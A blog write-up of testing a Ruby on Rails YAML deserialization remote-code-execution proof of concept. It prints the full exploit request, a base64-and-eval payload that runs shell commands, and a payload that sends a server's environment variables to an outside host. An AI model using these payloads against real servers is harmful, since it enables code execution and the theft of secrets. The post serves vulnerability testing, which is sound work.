I checked out some proof of concept from http://ronin-ruby.github.com/blog/2013/01/09/rails-pocs.html made in Ruby.
In order to see really what was going on, I proxied the Ruby PoC trough Burp. It was done easily since it runs on Ruby Ronin:
Ronin::Network::HTTP.proxy[:host] = '127.0.0.1'
Ronin::Network::HTTP.proxy[:port] = 8080
Then I ran from the command line :
ruby rails_rce.rb http://127.0.0.1:3000 puts 'rce'
And then got the request :
POST / HTTP/1.1 Content-Type: text/xml X-Http-Method-Override: get Accept: */* User-Agent: Ruby Host: 127.0.0.1:3000 Content-Length: 396 <?xml version="1.0" encoding="UTF-8"?> <exploit type="yaml">--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection ? ! 'foo (puts ''rce''; @executed = true) unless @executed __END__ ' : !ruby/struct defaults: :action: create :controller: foos required_parts:  requirements: :action: create :controller: foos segment_keys: - :format</exploit>
unless @executedis there because the injected code is actually iterated many times (4 in my hello world test). Also, you have to duplicate the single quote in the command in order to avoid a parser error. This is actually a good test case in order to see if the yaml parser is working and exploitable.
I tried for quite a while to have something else than an error to be fed back into the HTTP response, but without success. I was testing with WEBrick and haven't try with Passenger. I was trying to access the response object within Rails but with no success. Nevertheless, I was able to do ruby code, includes, and execute shell commands.
Code was running fine, but I wanted more flexibility when writing it, so I used base64 and eval in the payload :
foo (require ''base64''; eval(Base64.decode64(''aWYgQGEKICBAYSA9IEBhICsgMQplbHNlCiAgQGEgPSAwCmVuZApwdXRzIEBhCnN5c3RlbSgiZW52ID4+IC90bXAvdGVzdC50eHQiKQo='')); @executed = true) unless @executed __END__That way it was easy to execute multiple lines and use code that is actually more readable without having to play with it manually.
At the end I came up with that code to be able to get feedback on my Web server if successful:
require 'net/http' Net::HTTP.get('www.jonathanmarcil.ca', '/?rubyonfails=' + Base64.urlsafe_encode64(`env`)) puts 'You have been tested!'
It worked just fine and that's how I made my RoR tester.
Tested under development versions:
WEBrick 1.3.1 Rails 3.2.8 ruby 1.9.3 (2013-01-15) [i686-linux]
Apache/2.2.22 (Ubuntu) Phusion_Passenger/3.0.19 ruby-1.9.3-p374 x86_64